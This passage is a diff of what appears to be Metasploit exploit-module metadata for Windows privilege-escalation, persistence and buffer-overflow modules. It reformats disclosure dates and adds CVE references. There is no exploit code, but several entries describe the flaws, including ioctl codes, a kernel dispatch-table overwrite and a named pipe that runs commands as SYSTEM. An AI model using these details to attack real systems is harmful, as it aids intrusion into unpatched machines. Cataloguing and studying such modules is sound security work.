"exploit/windows/local/bypassuac_injection_winsxs", "rank": 600, - "disclosure_date": "2017-04-06 00:00:00 -0500", + "disclosure_date": "2017-04-06", "type": "exploit", "author": [ "Ernesto Fernandez \"L3cr0f\" " @@ -74655,7 +72636,7 @@ "name": "Windows UAC Protection Bypass (Via Slui File Handler Hijack)", "full_name": "exploit/windows/local/bypassuac_sluihijack", "rank": 600, - "disclosure_date": "2018-01-15 00:00:00 -0600", + "disclosure_date": "2018-01-15", "type": "exploit", "author": [ "bytecode-77", @@ -74683,7 +72664,7 @@ "name": "Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)", "full_name": "exploit/windows/local/bypassuac_vbs", "rank": 600, - "disclosure_date": "2015-08-22 00:00:00 -0500", + "disclosure_date": "2015-08-22", "type": "exploit", "author": [ "Vozzie", @@ -74710,7 +72691,7 @@ "name": "Windows Capcom.sys Kernel Execution Exploit (x64 only)", "full_name": "exploit/windows/local/capcom_sys_exec", "rank": 300, - "disclosure_date": "1999-01-01 00:00:00 -0600", + "disclosure_date": "1999-01-01", "type": "exploit", "author": [ "TheWack0lian", @@ -74737,7 +72718,7 @@ "name": "PsExec via Current User Token", "full_name": "exploit/windows/local/current_user_psexec", "rank": 600, - "disclosure_date": "1999-01-01 00:00:00 -0600", + "disclosure_date": "1999-01-01", "type": "exploit", "author": [ "egypt ", @@ -74766,7 +72747,7 @@ "name": "LNK Code Execution Vulnerability", "full_name": "exploit/windows/local/cve_2017_8464_lnk_lpe", "rank": 600, - "disclosure_date": "2017-06-13 00:00:00 -0500", + "disclosure_date": "2017-06-13", "type": "exploit", "author": [ "Uncredited", @@ -74800,7 +72781,7 @@ "name": "IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL", "full_name": "exploit/windows/local/ikeext_service", "rank": 400, - "disclosure_date": "2012-10-09 00:00:00 -0500", + "disclosure_date": "2012-10-09", "type": "exploit", "author": [ "Ben Campbell " @@ -74828,13 +72809,14 @@ "name": "iPass Mobile Client Service Privilege Escalation", "full_name": "exploit/windows/local/ipass_launch_app", "rank": 600, - "disclosure_date": "2015-03-12 00:00:00 -0500", + "disclosure_date": "2015-03-12", "type": "exploit", "author": [ "h0ng10" ], "description": "The named pipe, \\IPEFSYSPCPIPE, can be accessed by normal users to interact\n with the iPass service. The service provides a LaunchAppSysMode command which\n allows to execute arbitrary commands as SYSTEM.", "references": [ + "CVE-2015-0925", "URL-https://www.mogwaisecurity.de/advisories/MSA-2015-03.txt" ], "is_server": true, @@ -74854,7 +72836,7 @@ "name": "Lenovo System Update Privilege Escalation", "full_name": "exploit/windows/local/lenovo_systemupdate", "rank": 600, - "disclosure_date": "2015-04-12 00:00:00 -0500", + "disclosure_date": "2015-04-12", "type": "exploit", "author": [ "Michael Milvich", @@ -74917,7 +72899,7 @@ "name": "MQAC.sys Arbitrary Write Privilege Escalation", "full_name": "exploit/windows/local/mqac_write", "rank": 200, - "disclosure_date": "2014-07-22 00:00:00 -0500", + "disclosure_date": "2014-07-22", "type": "exploit", "author": [ "Matt Bergin", @@ -74946,7 +72928,7 @@ "name": "Windows SYSTEM Escalation via KiTrap0D", "full_name": "exploit/windows/local/ms10_015_kitrap0d", "rank": 500, - "disclosure_date": "2010-01-19 00:00:00 -0600", + "disclosure_date": "2010-01-19", "type": "exploit", "author": [ "Tavis Ormandy", @@ -74979,7 +72961,7 @@ "name": "Windows Escalate Task Scheduler XML Privilege Escalation", "full_name": "exploit/windows/local/ms10_092_schelevator", "rank": 600, - "disclosure_date": "2010-09-13 00:00:00 -0500", + "disclosure_date": "2010-09-13", "type": "exploit", "author": [ "jduck " @@ -75009,7 +72991,7 @@ "name": "MS11-080 AfdJoinLeaf Privilege Escalation", "full_name": "exploit/windows/local/ms11_080_afdjoinleaf", "rank": 200, - "disclosure_date": "2011-11-30 00:00:00 -0600", + "disclosure_date": "2011-11-30", "type": "exploit", "author": [ "Matteo Memelli", @@ -75042,7 +73024,7 @@ "name": "MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation", "full_name": "exploit/windows/local/ms13_005_hwnd_broadcast", "rank": 600, - "disclosure_date": "2012-11-27 00:00:00 -0600", + "disclosure_date": "2012-11-27", "type": "exploit", "author": [ "Tavis Ormandy", @@ -75074,7 +73056,7 @@ "name": "Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)", "full_name": "exploit/windows/local/ms13_053_schlamperei", "rank": 200, - "disclosure_date": "2013-12-01 00:00:00 -0600", + "disclosure_date": "2013-12-01", "type": "exploit", "author": [ "Nils", @@ -75105,7 +73087,7 @@ "name": "Windows TrackPopupMenuEx Win32k NULL Page", "full_name": "exploit/windows/local/ms13_081_track_popup_menu", "rank": 200, - "disclosure_date": "2013-10-08 00:00:00 -0500", + "disclosure_date": "2013-10-08", "type": "exploit", "author": [ "Seth Gibson", @@ -75139,7 +73121,7 @@ "name": "MS13-097 Registry Symlink IE Sandbox Escape", "full_name": "exploit/windows/local/ms13_097_ie_registry_symlink", "rank": 500, - "disclosure_date": "2013-12-10 00:00:00 -0600", + "disclosure_date": "2013-12-10", "type": "exploit", "author": [ "James Forshaw", @@ -75169,7 +73151,7 @@ "name": "MS14-009 .NET Deployment Service IE Sandbox Escape", "full_name": "exploit/windows/local/ms14_009_ie_dfsvc", "rank": 500, - "disclosure_date": "2014-02-11 00:00:00 -0600", + "disclosure_date": "2014-02-11", "type": "exploit", "author": [ "James Forshaw", @@ -75199,7 +73181,7 @@ "name": "Windows TrackPopupMenu Win32k NULL Pointer Dereference", "full_name": "exploit/windows/local/ms14_058_track_popup_menu", "rank": 300, - "disclosure_date": "2014-10-14 00:00:00 -0500", + "disclosure_date": "2014-10-14", "type": "exploit", "author": [ "Unknown", @@ -75233,7 +73215,7 @@ "name": "MS14-070 Windows tcpip!SetAddrOptions NULL Pointer Dereference", "full_name": "exploit/windows/local/ms14_070_tcpip_ioctl", "rank": 200, - "disclosure_date": "2014-11-11 00:00:00 -0600", + "disclosure_date": "2014-11-11", "type": "exploit", "author": [ "Matt Bergin ", @@ -75264,7 +73246,7 @@ "name": "MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape", "full_name": "exploit/windows/local/ms15_004_tswbproxy", "rank": 400, - "disclosure_date": "2015-01-13 00:00:00 -0600", + "disclosure_date": "2015-01-13", "type": "exploit", "author": [ "Unknown", @@ -75294,7 +73276,7 @@ "name": "Windows ClientCopyImage Win32k Exploit", "full_name": "exploit/windows/local/ms15_051_client_copy_image", "rank": 300, - "disclosure_date": "2015-05-12 00:00:00 -0500", + "disclosure_date": "2015-05-12", "type": "exploit", "author": [ "Unknown", @@ -75328,7 +73310,7 @@ "name": "MS15-078 Microsoft Windows Font Driver Buffer Overflow", "full_name": "exploit/windows/local/ms15_078_atmfd_bof", "rank": 0, - "disclosure_date": "2015-07-11 00:00:00 -0500", + "disclosure_date": "2015-07-11", "type": "exploit", "author": [ "Eugene Ching", @@ -75364,7 +73346,7 @@ "name": "Windows WMI Recieve Notification Exploit", "full_name": "exploit/windows/local/ms16_014_wmi_recv_notif", "rank": 300, - "disclosure_date": "2015-12-04 00:00:00 -0600", + "disclosure_date": "2015-12-04", "type": "exploit", "author": [ "smmrootkit", @@ -75396,7 +73378,7 @@ "name": "MS16-016 mrxdav.sys WebDav Local Privilege Escalation", "full_name": "exploit/windows/local/ms16_016_webdav", "rank": 600, - "disclosure_date": "2016-02-09 00:00:00 -0600", + "disclosure_date": "2016-02-09", "type": "exploit", "author": [ "Tamas Koczka", @@ -75424,7 +73406,7 @@ "name": "MS16-032 Secondary Logon Handle Privilege Escalation", "full_name": "exploit/windows/local/ms16_032_secondary_logon_handle_privesc", "rank": 300, - "disclosure_date": "2016-03-21 00:00:00 -0500", + "disclosure_date": "2016-03-21", "type": "exploit", "author": [ "James Forshaw", @@ -75456,7 +73438,7 @@ "name": "MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation", "full_name": "exploit/windows/local/ms_ndproxy", "rank": 200, - "disclosure_date": "2013-11-27 00:00:00 -0600", + "disclosure_date": "2013-11-27", "type": "exploit", "author": [ "Unknown", @@ -75496,7 +73478,7 @@ "name": "Novell Client 2 SP3 nicm.sys Local Privilege Escalation", "full_name": "exploit/windows/local/novell_client_nicm", "rank": 200, - "disclosure_date": "2013-05-22 00:00:00 -0500", + "disclosure_date": "2013-05-22", "type": "exploit", "author": [ "Unknown", @@ -75504,6 +73486,7 @@ ], "description": "This module exploits a flaw in the nicm.sys driver to execute arbitrary code in\n kernel space. The vulnerability occurs while handling ioctl requests with code\n 0x143B6B, where a user provided pointer is used as function pointer. The module\n has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3.", "references": [ + "CVE-2013-3956", "OSVDB-93718", "URL-http://www.novell.com/support/kb/doc.php?id=7012497", "URL-http://pastebin.com/GB4iiEwR" @@ -75526,7 +73509,7 @@ "name": "Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation", "full_name": "exploit/windows/local/novell_client_nwfs", "rank": 200, - "disclosure_date": "2008-06-26 00:00:00 -0500", + "disclosure_date": "2008-06-26", "type": "exploit", "author": [ "Ruben Santamarta", @@ -75534,6 +73517,7 @@ ], "description": "This module exploits a flaw in the nwfs.sys driver to overwrite data in kernel\n space. The corruption occurs while handling ioctl requests with code 0x1438BB,\n where a 0x00000009 dword is written to an arbitrary address. An entry within the\n HalDispatchTable is overwritten in order to execute arbitrary code when\n NtQueryIntervalProfile is called. The module has been tested successfully on\n Windows XP SP3 with Novell Client 4.91 SP4.", "references": [ + "CVE-2008-3158", "OSVDB-46578", "BID-30001" ], @@ -75555,7 +73539,7 @@ "name": "MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check", "full_name": "exploit/windows/local/ntapphelpcachecontrol", "rank": 300, - "disclosure_date": "2014-09-30 00:00:00 -0500", + "disclosure_date": "2014-09-30", "type": "exploit", "author": [ "James Forshaw", @@ -75586,7 +73570,7 @@ "name": "Nvidia (nvsvc) Display Driver Service Local Privilege Escalation", "full_name": "exploit/windows/local/nvidia_nvsvc", "rank": 200, - "disclosure_date": "2012-12-25 00:00:00 -0600", + "disclosure_date": "2012-12-25", "type": "exploit", "author": [ "Peter Wintersmith", @@ -75615,7 +73599,7 @@ "name": "Panda Security PSEvents Privilege Escalation", "full_name": "exploit/windows/local/panda_psevents", "rank": 600, - "disclosure_date": "2016-06-27 00:00:00 -0500", + "disclosure_date": "2016-06-27", "type": "exploit", "author": [ "h00die ", @@ -75643,7 +73627,7 @@ "name": "Windows Manage Memory Payload Injection", "full_name": "exploit/windows/local/payload_inject", "rank": 600, - "disclosure_date": "2011-10-12 00:00:00 -0500", + "disclosure_date": "2011-10-12", "type": "exploit", "author": [ "Carlos Perez ", @@ -75670,7 +73654,7 @@ "name": "Windows Persistent Registry Startup Payload Installer", "full_name": "exploit/windows/local/persistence", "rank": 600, - "disclosure_date": "2011-10-19 00:00:00 -0500", + "disclosure_date": "2011-10-19", "type": "exploit", "author": [ "Carlos Perez ", @@ -75697,7 +73681,7 @@ "name": "Windows Command Shell Upgrade (Powershell)", "full_name": "exploit/windows/local/powershell_cmd_upgrade", "rank": 600, - "disclosure_date": "1999-01-01 00:00:00 -0600", + "disclosure_date": "1999-01-01", "type": "exploit", "author": [ "Ben Campbell " @@ -75723,7 +73707,7 @@ "name": "Powershell Remoting Remote Command Execution", "full_name": "exploit/windows/local/powershell_remoting", "rank": 600, - "disclosure_date": "1999-01-01 00:00:00 -0600", + "disclosure_date": "1999-01-01", "type": "exploit", "author": [ "Ben Campbell " @@ -75750,7 +73734,7 @@ "name": "Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation", "full_name": "exploit/windows/local/ppr_flatten_rec", "rank": 200, - "disclosure_date": "2013-05-15 00:00:00 -0500", + "disclosure_date": "2013-05-15", "type": "exploit", "author": [ "Tavis Ormandy ", @@ -75787,7 +73771,7 @@ "name": "Powershell Payload Execution", "full_name": "exploit/windows/local/ps_persist", "rank": 600, - "disclosure_date": "2012-08-14 00:00:00 -0500", + "disclosure_date": "2012-08-14", "type": "exploit", "author": [ "RageLtMan ", @@ -75814,7 +73798,7 @@ "name": "Authenticated WMI Exec via Powershell", "full_name": "exploit/windows/local/ps_wmi_exec", "rank": 600, - "disclosure_date": "2012-08-19 00:00:00 -0500", + "disclosure_date": "2012-08-19", "type": "exploit", "author": [ "RageLtMan " @@ -75840,7 +73824,7 @@ "name": "PXE Exploit Server", "full_name": "exploit/windows/local/pxeexploit", "rank": 600, - "disclosure_date": "2011-08-05 00:00:00 -0500", + "disclosure_date": "2011-08-05", "type": "exploit", "author": [ "scriptjunkie" @@ -75866,7 +73850,7 @@ "name": "Razer Synapse rzpnk.sys ZwOpenProcess", "full_name": "exploit/windows/local/razer_zwopenprocess", "rank": 300, - "disclosure_date": "2017-03-22 00:00:00 -0500", + "disclosure_date": "2017-03-22", "type": "exploit", "author": [ "Spencer McIntyre" @@ -75893,7 +73877,7 @@ "name": "Windows Registry Only Persistence", "full_name": "exploit/windows/local/registry_persistence", "rank": 600, - "disclosure_date": "2015-07-01 00:00:00 -0500", + "disclosure_date": "2015-07-01", "type": "exploit", "author": [ "Donny Maasland " @@ -75919,7 +73903,7 @@ "name": "Windows Run Command As User", "full_name": "exploit/windows/local/run_as", "rank": 600, - "disclosure_date": "1999-01-01 00:00:00 -0600", + "disclosure_date": "1999-01-01", "type": "exploit", "author": [ "Kx499", @@ -75946,7 +73930,7 @@ "name": "Windows Manage User Level Persistent Payload Installer", "full_name": "exploit/windows/local/s4u_persistence", "rank": 600, - "disclosure_date": "2013-01-02 00:00:00 -0600", + "disclosure_date": "2013-01-02", "type": "exploit", "author": [ "Thomas McCarthy \"smilingraccoon\" ", @@ -75974,7 +73958,7 @@ "name": "Windows Escalate Service Permissions Local Privilege Escalation", "full_name": "exploit/windows/local/service_permissions", "rank": 500, - "disclosure_date": "2012-10-15 00:00:00 -0500", + "disclosure_date": "2012-10-15", "type": "exploit", "author": [ "scriptjunkie" @@ -76000,7 +73984,7 @@ "name": "Windows Service Trusted Path Privilege Escalation", "full_name": "exploit/windows/local/trusted_service_path", "rank": 600, - "disclosure_date": "2001-10-25 00:00:00 -0500", + "disclosure_date": "2001-10-25", "type": "exploit", "author": [ "sinn3r " @@ -76027,7 +74011,7 @@ "name": "VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation", "full_name": "exploit/windows/local/virtual_box_guest_additions", "rank": 200, - "disclosure_date": "2014-07-15 00:00:00 -0500", + "disclosure_date": "2014-07-15", "type": "exploit", "author": [ "Matt Bergin ", @@ -76055,7 +74039,7 @@ "name": "VirtualBox 3D Acceleration Virtual Machine Escape", "full_name": "exploit/windows/local/virtual_box_opengl_escape", "rank": 200, - "disclosure_date": "2014-03-11 00:00:00 -0500", + "disclosure_date": "2014-03-11", "type": "exploit", "author": [ "Francisco Falcon", @@ -76086,7 +74070,7 @@ "name": "Persistent Payload in Windows Volume Shadow Copy", "full_name": "exploit/windows/local/vss_persistence", "rank": 600, - "disclosure_date": "2011-10-21 00:00:00 -0500", + "disclosure_date": "2011-10-21", "type": "exploit", "author": [ "Jedediah Rodriguez " @@ -76113,7 +74097,7 @@ "name": "Windows Management Instrumentation (WMI) Remote Command Execution", "full_name": "exploit/windows/local/wmi", "rank": 600, - "disclosure_date": "1999-01-01 00:00:00 -0600", + "disclosure_date": "1999-01-01", "type": "exploit", "author": [ "Ben Campbell " @@ -76141,7 +74125,7 @@ "name": "WMI Event Subscription Persistence", "full_name": "exploit/windows/local/wmi_persistence", "rank": 300, - "disclosure_date": "2017-06-06 00:00:00 -0500", + "disclosure_date": "2017-06-06", "type": "exploit", "author": [ "Nick Tyrer <@NickTyrer>" @@ -76168,7 +74152,7 @@ "name": "IBM Lotus Domino Web Server Accept-Language Stack Buffer Overflow", "full_name": "exploit/windows/lotus/domino_http_accept_language", "rank": 200, - "disclosure_date": "2008-05-20 00:00:00 -0500", + "disclosure_date": "2008-05-20", "type": "exploit", "author": [ "Fairuzan Roslan ", @@ -76204,7 +74188,7 @@ "name": "IBM Lotus Domino iCalendar MAILTO Buffer Overflow", "full_name": "exploit/windows/lotus/domino_icalendar_organizer", "rank": 300, - "disclosure_date": "2010-09-14 00:00:00 -0500", + "disclosure_date": "2010-09-14", "type": "exploit", "author": [ "A. Plaskett", @@ -76237,7 +74221,7 @@ "name": "IBM Lotus Domino Sametime STMux.exe Stack Buffer Overflow", "full_name": "exploit/windows/lotus/domino_sametime_stmux", "rank": 200, - "disclosure_date": "2008-05-21 00:00:00 -0500", + "disclosure_date": "2008-05-21", "type": "exploit", "author": [ "aushack ", @@ -76271,7 +74255,7 @@ "name": "Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh Attachment)", "full_name": "exploit/windows/lotus/lotusnotes_lzh", "rank": 300, - "disclosure_date": "2011-05-24 00:00:00 -0500", + "disclosure_date": "2011-05-24", "type": "exploit", "author": [ "binaryhouse.net", @@ -76303,7 +74287,7 @@ "name": "Hummingbird Connectivity 10 SP5 LPD Buffer Overflow", "full_name": "exploit/windows/lpd/hummingbird_exceed", "rank": 200, - "disclosure_date": "2005-05-27 00:00:00 -0500", + "disclosure_date": "2005-05-27", "type": "exploit", "author": [ "MC " @@ -76333,7 +74317,7 @@ "name": "NIPrint LPD Request Overflow", "full_name": "exploit/windows/lpd/niprint", "rank": 400, - "disclosure_date": "2003-11-05 00:00:00 -0600", + "disclosure_date": "2003-11-05", "type": "exploit", "author": [ "hdm " @@ -76364,7 +74348,7 @@ "name": "SAP SAPLPD 6.28 Buffer Overflow", "full_name": "exploit/windows/lpd/saplpd", "rank": 400, - "disclosure_date": "2008-02-04 00:00:00 -0600", + "disclosure_date": "2008-02-04", "type": "exploit", "author": [ "MC " @@ -76392,7 +74376,7 @@ "name": "WinComLPD Buffer Overflow", "full_name": "exploit/windows/lpd/wincomlpd_admin", "rank": 400, - "disclosure_date": "2008-02-04 00:00:00 -0600", + "disclosure_date": "2008-02-04", "type": "exploit", "author": [ "MC " @@ -76420,7 +74404,7 @@ "name": "Achat Unicode SEH Buffer Overflow", "full_name": "exploit/windows/misc/achat_bof", "rank": 300, - "disclosure_date": "2014-12-18 00:00:00 -0600", + "disclosure_date": "2014-12-18", "type": "exploit", "author": [ "Peter Kasza ", @@ -76447,7 +74431,7 @@ "name": "ActFax 5.01 RAW Server Buffer Overflow", "full_name": "exploit/windows/misc/actfax_raw_server_bof", "rank": 300, - "disclosure_date": "2013-02-05 00:00:00 -0600", + "disclosure_date": "2013-02-05", "type": "exploit", "author": [ "Craig Freyman", @@ -76478,7 +74462,7 @@ "name": "AgentX++ Master AgentX::receive_agentx Stack Buffer Overflow", "full_name": "exploit/windows/misc/agentxpp_receive_agentx", "rank": 400, - "disclosure_date": "2010-04-16 00:00:00 -0500", + "disclosure_date": "2010-04-16", "type": "exploit", "author": [ "jduck " @@ -76506,7 +74490,7 @@ "name": "ALLMediaServer 0.8 Buffer Overflow", "full_name": "exploit/windows/misc/allmediaserver_bof", "rank": 300, - "disclosure_date": "2012-07-04 00:00:00 -0500", + "disclosure_date": "2012-07-04", "type": "exploit", "author": [ "motaz reda ", @@ -76515,6 +74499,7 @@ ], "description": "This module exploits a stack buffer overflow in ALLMediaServer 0.8. The vulnerability\n is caused due to a boundary error within the handling of HTTP request.\n\n While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't\n reliable across virtual (VMWare, VirtualBox) and physical environments. Because of\n this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default\n DEP is OptIn and AllMediaServer won't run with DEP.", "references": [ + "CVE-2017-17932", "OSVDB-83889", "EDB-19625" ], @@ -76536,7 +74521,7 @@ "name": "Symantec Altiris DS SQL Injection", "full_name": "exploit/windows/misc/altiris_ds_sqli", "rank": 300, - "disclosure_date": "2008-05-15 00:00:00 -0500", + "disclosure_date": "2008-05-15", "type": "exploit", "author": [ "Brett Moore", @@ -76566,7 +74551,7 @@ "name": "Apple QuickTime 7.3 RTSP Response Header Buffer Overflow", "full_name": "exploit/windows/misc/apple_quicktime_rtsp_response", "rank": 300, - "disclosure_date": "2007-11-23 00:00:00 -0600", + "disclosure_date": "2007-11-23", "type": "exploit", "author": [ "MC " @@ -76595,7 +74580,7 @@ "name": "Asus Dpcproxy Buffer Overflow", "full_name": "exploit/windows/misc/asus_dpcproxy_overflow", "rank": 200, - "disclosure_date": "2008-03-21 00:00:00 -0500", + "disclosure_date": "2008-03-21", "type": "exploit", "author": [ "Jacopo Cervini" @@ -76623,7 +74608,7 @@ "name": "Avaya WinPMD UniteHostRouter Buffer Overflow", "full_name": "exploit/windows/misc/avaya_winpmd_unihostrouter", "rank": 300, - "disclosure_date": "2011-05-23 00:00:00 -0500", + "disclosure_date": "2011-05-23", "type": "exploit", "author": [ "AbdulAziz Hariri", @@ -76657,7 +74642,7 @@ "name": "Avid Media Composer 5.5 - Avid Phonetic Indexer Buffer Overflow", "full_name": "exploit/windows/misc/avidphoneticindexer", "rank": 300, - "disclosure_date": "2011-11-29 00:00:00 -0600", + "disclosure_date": "2011-11-29", "type": "exploit", "author": [ "vt [nick.freeman " @@ -76685,7 +74670,7 @@ "name": "BakBone NetVault Remote Heap Overflow", "full_name": "exploit/windows/misc/bakbone_netvault_heap", "rank": 200, - "disclosure_date": "2005-04-01 00:00:00 -0600", + "disclosure_date": "2005-04-01", "type": "exploit", "author": [ "hdm ", @@ -76716,7 +74701,7 @@ "name": "Blue Coat Authentication and Authorization Agent (BCAAA) 5 Buffer Overflow", "full_name": "exploit/windows/misc/bcaaa_bof", "rank": 400, - "disclosure_date": "2011-04-04 00:00:00 -0500", + "disclosure_date": "2011-04-04", "type": "exploit", "author": [ "Paul Harrington", @@ -76747,7 +74732,7 @@ "name": "BigAnt Server 2.2 Buffer Overflow", "full_name": "exploit/windows/misc/bigant_server", "rank": 200, - "disclosure_date": "2008-04-15 00:00:00 -0500", + "disclosure_date": "2008-04-15", "type": "exploit", "author": [ "MC " @@ -76776,7 +74761,7 @@ "name": "BigAnt Server 2.50 SP1 Buffer Overflow", "full_name": "exploit/windows/misc/bigant_server_250", "rank": 500, - "disclosure_date": "2008-04-15 00:00:00 -0500", + "disclosure_date": "2008-04-15", "type": "exploit", "author": [ "Dr_IDE " @@ -76807,7 +74792,7 @@ "name": "BigAnt Server DUPF Command Arbitrary File Upload", "full_name": "exploit/windows/misc/bigant_server_dupf_upload", "rank": 600, - "disclosure_date": "2013-01-09 00:00:00 -0600", + "disclosure_date": "2013-01-09", "type": "exploit", "author": [ "Hamburgers Maccoy", @@ -76837,7 +74822,7 @@ "name": "BigAnt Server 2 SCH And DUPF Buffer Overflow", "full_name": "exploit/windows/misc/bigant_server_sch_dupf_bof", "rank": 300, - "disclosure_date": "2013-01-09 00:00:00 -0600", + "disclosure_date": "2013-01-09", "type": "exploit", "author": [ "Hamburgers Maccoy", @@ -76868,7 +74853,7 @@ "name": "BigAnt Server 2.52 USV Buffer Overflow", "full_name": "exploit/windows/misc/bigant_server_usv", "rank": 500, - "disclosure_date": "2009-12-29 00:00:00 -0600", + "disclosure_date": "2009-12-29", "type": "exploit", "author": [ "Lincoln", @@ -76877,6 +74862,7 @@ ], "description": "This exploits a stack buffer overflow in the BigAnt Messaging Service,\n part of the BigAnt Server product suite. This module was tested\n successfully against version 2.52.\n\n NOTE: The AntServer service does not restart, you only get one shot.", "references": [ + "CVE-2009-4660", "OSVDB-61386", "EDB-10765", "EDB-10973" @@ -76898,7 +74884,7 @@ "name": "Bomberclone 0.11.6 Buffer Overflow", "full_name": "exploit/windows/misc/bomberclone_overflow", "rank": 200, - "disclosure_date": "2006-02-16 00:00:00 -0600", + "disclosure_date": "2006-02-16", "type": "exploit", "author": [ "Jacopo Cervini " @@ -76929,7 +74915,7 @@ "name": "Bopup Communications Server Buffer Overflow", "full_name": "exploit/windows/misc/bopup_comm", "rank": 400, - "disclosure_date": "2009-06-18 00:00:00 -0500", + "disclosure_date": "2009-06-18", "type": "exploit", "author": [ "MC " @@ -76958,7 +74944,7 @@ "name": "Borland Interbase Create-Request Buffer Overflow", "full_name": "exploit/windows/misc/borland_interbase", "rank": 200, - "disclosure_date": "2007-07-24 00:00:00 -0500", + "disclosure_date": "2007-07-24", "type": "exploit", "author": [ "MC " @@ -76986,7 +74972,7 @@ "name": "Borland CaliberRM StarTeam Multicast Service Buffer Overflow", "full_name": "exploit/windows/misc/borland_starteam", "rank": 200, - "disclosure_date": "2008-04-02 00:00:00 -0500", + "disclosure_date": "2008-04-02", "type": "exploit", "author": [ "MC " @@ -77015,7 +75001,7 @@ "name": "Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow", "full_name": "exploit/windows/misc/citrix_streamprocess", "rank": 400, - "disclosure_date": "2011-01-20 00:00:00 -0600", + "disclosure_date": "2011-01-20", "type": "exploit", "author": [ "mog" @@ -77044,7 +75030,7 @@ "name": "Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020000 Buffer Overflow", "full_name": "exploit/windows/misc/citrix_streamprocess_data_msg", "rank": 300, - "disclosure_date": "2011-11-04 00:00:00 -0500", + "disclosure_date": "2011-11-04", "type": "exploit", "author": [ "AbdulAziz Hariri", @@ -77074,7 +75060,7 @@ "name": "Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020004 Buffer Overflow", "full_name": "exploit/windows/misc/citrix_streamprocess_get_boot_record_request", "rank": 300, - "disclosure_date": "2011-11-04 00:00:00 -0500", + "disclosure_date": "2011-11-04", "type": "exploit", "author": [ "alino <26alino@gmail.com>", @@ -77103,7 +75089,7 @@ "name": "Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020002 Buffer Overflow", "full_name": "exploit/windows/misc/citrix_streamprocess_get_footer", "rank": 300, - "disclosure_date": "2011-11-04 00:00:00 -0500", + "disclosure_date": "2011-11-04", "type": "exploit", "author": [ "alino <26alino@gmail.com>", @@ -77132,7 +75118,7 @@ "name": "Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020006 Buffer Overflow", "full_name": "exploit/windows/misc/citrix_streamprocess_get_objects", "rank": 300, - "disclosure_date": "2011-11-04 00:00:00 -0500", + "disclosure_date": "2011-11-04", "type": "exploit", "author": [ "Anyway ", @@ -77163,7 +75149,7 @@ "name": "CloudMe Sync v1.10.9", "full_name": "exploit/windows/misc/cloudme_sync", "rank": 500, - "disclosure_date": "2018-01-17 00:00:00 -0600", + "disclosure_date": "2018-01-17", "type": "exploit", "author": [ "hyp3rlinx", @@ -77191,13 +75177,14 @@ "name": "Commvault Communications Service (cvd) Command Injection", "full_name": "exploit/windows/misc/commvault_cmd_exec", "rank": 400, - "disclosure_date": "2017-12-12 00:00:00 -0600", + "disclosure_date": "2017-12-12", "type": "exploit", "author": [ "b0yd" ], "description": "This module exploits a command injection vulnerability\n discovered in Commvault Service v11 SP5 and earlier versions (tested in v11 SP5\n and v10). The vulnerability exists in the cvd.exe service and allows an\n attacker to execute arbitrary commands in the context of the service. By\n default, the Commvault Communications service installs and runs as SYSTEM in\n Windows and does not require authentication. This vulnerability was discovered\n in the Windows version. The Linux version wasn't tested.", "references": [ + "CVE-2017-18044", "URL-https://www.securifera.com/advisories/sec-2017-0001/" ], "is_server": true, @@ -77217,7 +75204,7 @@ "name": "Disk Savvy Enterprise v10.4.18", "full_name": "exploit/windows/misc/disk_savvy_adm", "rank": 500, - "disclosure_date": "2017-01-31 00:00:00 -0600", + "disclosure_date": "2017-01-31", "type": "exploit", "author": [ "Daniel Teixeira" @@ -77243,7 +75230,7 @@ "name": "DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow", "full_name": "exploit/windows/misc/doubletake", "rank": 200, - "disclosure_date": "2008-06-04 00:00:00 -0500", + "disclosure_date": "2008-06-04", "type": "exploit", "author": [ "ri0t " @@ -77272,7 +75259,7 @@ "name": "eIQNetworks ESA License Manager LICMGR_ADDLICENSE Overflow", "full_name": "exploit/windows/misc/eiqnetworks_esa", "rank": 200, - "disclosure_date": "2006-07-24 00:00:00 -0500", + "disclosure_date": "2006-07-24", "type": "exploit", "author": [ "MC ", @@ -77325,7 +75312,7 @@ "name": "eIQNetworks ESA Topology DELETEDEVICE Overflow", "full_name": "exploit/windows/misc/eiqnetworks_esa_topology", "rank": 200, - "disclosure_date": "2006-07-25 00:00:00 -0500", + "disclosure_date": "2006-07-25", "type": "exploit", "author": [ "MC " @@ -77356,7 +75343,7 @@ "name": "Enterasys NetSight nssyslogd.exe Buffer Overflow", "full_name": "exploit/windows/misc/enterasys_netsight_syslog_bof", "rank": 300, - "disclosure_date": "2011-12-19 00:00:00 -0600", + "disclosure_date": "2011-12-19", "type": "exploit", "author": [ "Jeremy Brown", @@ -77388,7 +75375,7 @@ "name": "Eureka Email 2.2q ERR Remote Buffer Overflow", "full_name": "exploit/windows/misc/eureka_mail_err", "rank": 300, - "disclosure_date": "2009-10-22 00:00:00 -0500", + "disclosure_date": "2009-10-22", "type": "exploit", "author": [ "Francis Provencher (Protek Research Labs)", @@ -77420,7 +75407,7 @@ "name": "Firebird Relational Database CNCT Group Number Buffer Overflow", "full_name": "exploit/windows/misc/fb_cnct_group", "rank": 300, - "disclosure_date": "2013-01-31 00:00:00 -0600", + "disclosure_date": "2013-01-31", "type": "exploit", "author": [ "Spencer McIntyre" @@ -77451,7 +75438,7 @@ "name": "Firebird Relational Database isc_attach_database() Buffer Overflow", "full_name": "exploit/windows/misc/fb_isc_attach_database", "rank": 200, - "disclosure_date": "2007-10-03 00:00:00 -0500", + "disclosure_date": "2007-10-03", "type": "exploit", "author": [ "Ramon de C Valle ", @@ -77483,7 +75470,7 @@ "name": "Firebird 